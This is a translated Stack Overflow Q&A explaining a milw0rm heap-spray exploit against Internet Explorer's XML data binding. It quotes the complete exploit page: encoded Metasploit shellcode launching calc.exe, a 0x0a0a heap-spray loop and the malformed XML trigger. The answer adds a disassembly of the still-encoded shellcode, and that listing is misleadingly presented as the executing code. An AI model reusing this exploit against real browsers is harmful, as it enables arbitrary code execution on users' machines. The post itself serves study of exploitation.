javascript - 这个 milw0rm 堆喷射漏洞是如何工作的?

标签 javascript x86 exploit assembly

我通常不难阅读 JavaScript 代码,但对于这个我无法弄清楚其中的逻辑。该代码来自于 4 天前发布的漏洞利用。您可以在 milw0rm 上找到它.

代码如下:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

这就是我相信它的作用,我希望你能帮助我解决我误解的部分。

变量shellcode包含打开 calc.exe 的代码.我不明白他们是如何找到那个奇怪的字符串的。有什么想法吗?

第二个是变量spray .我不明白这个奇怪的循环。

第三个是变量memory从未在任何地方使用过。他们为什么要创建它?

最后一件事:XML 标签在页面中的作用是什么?


目前我有很好的答案,但大多是非常笼统的。我想要更多关于代码值(value)的解释。一个例子是 unescape("%u0a0a%u0a0a"); .这是什么意思?循环也一样:为什么开发人员写:length < 0xd0000 ?我想更深入的了解,不仅仅是这段代码的理论。

最佳答案

shellcode 包含一些 x86 汇编指令,这些指令将执行实际的漏洞利用。 spray 创建一长串指令,这些指令将被放入 memory。由于我们通常无法找到我们的 shellcode 在内存中的确切位置,因此我们在它之前放置了很多 nop 指令并跳转到那里的某个地方。 memory 数组将保存实际的 x86 代码以及跳转机制。我们会将精心制作的 XML 提供给存在错误的库。当它被解析时,这个错误会导致指令指针寄存器被分配到我们漏洞利用的某个地方,从而导致任意代码执行。

要更深入地理解,您实际上应该弄清楚 x86 代码中的内容。 unscape 将用于将字符串表示的字节序列放入 spray 变量中。它是有效的 x86 代码,它填充了一大块堆并跳转到 shellcode 的开头。结束条件的原因是脚本引擎的字符串长度限制。字符串不能大于特定长度。

在 x86 汇编中,0a0a 代表 或 cl, [edx]。就我们的漏洞利用而言,这实际上等同于 nop 指令。无论我们在 spray 中跳转到哪里,我们都会进入下一条指令,直到我们到达我们真正想要执行的代码的 shellcode。

如果您查看 XML,您会发现 0x0a0a 也在那里。准确描述发生了什么需要对漏洞利用的特定知识(你必须知道漏洞在哪里以及它是如何被利用的,我不知道)。但是,我们似乎通过将 innerHtml 设置为该恶意 XML 字符串来强制 Internet Explorer 触发错误代码。 Internet Explorer 尝试解析它,并且错误的代码以某种方式控制了数组存在的内存位置(因为它是一个大块,所以跳转到那里的概率很高)。当我们跳转到那里时,CPU 将继续执行 或 cl, [edx] 指令,直到 in 到达放入内存中的 shellcode 的开头。

我已经反汇编了shellcode:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

理解这个shellcode需要x86汇编知识和MS库本身的问题(知道我们到达这里时系统状态是什么),而不是JavaScript!此代码将依次执行 calc.exe

关于javascript - 这个 milw0rm 堆喷射漏洞是如何工作的?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/381171/

相关文章:

linux - 如何在 perf 中解析 "not counted"?

linux - ASLR 打开时如何查找未导入的 libc 函数的地址?

bash - CVE-2014-7169 如何工作?测试代码分解

javascript - 在node中执行js文件

javascript - 使动态创建的 promise 按顺序执行

javascript - 如何在不硬刷新的情况下升级新的 React 应用程序版本?

assembly - 获取FS :[0] in 32-bit protected mode/MSVC inline asm的线性地址

javascript - jQuery - 如何根据类获取元素的动态宽度

assembly - 向BX寄存器写入值对ES寄存器有影响吗?

考虑到 gmail 的 + 检查唯一电子邮件的算法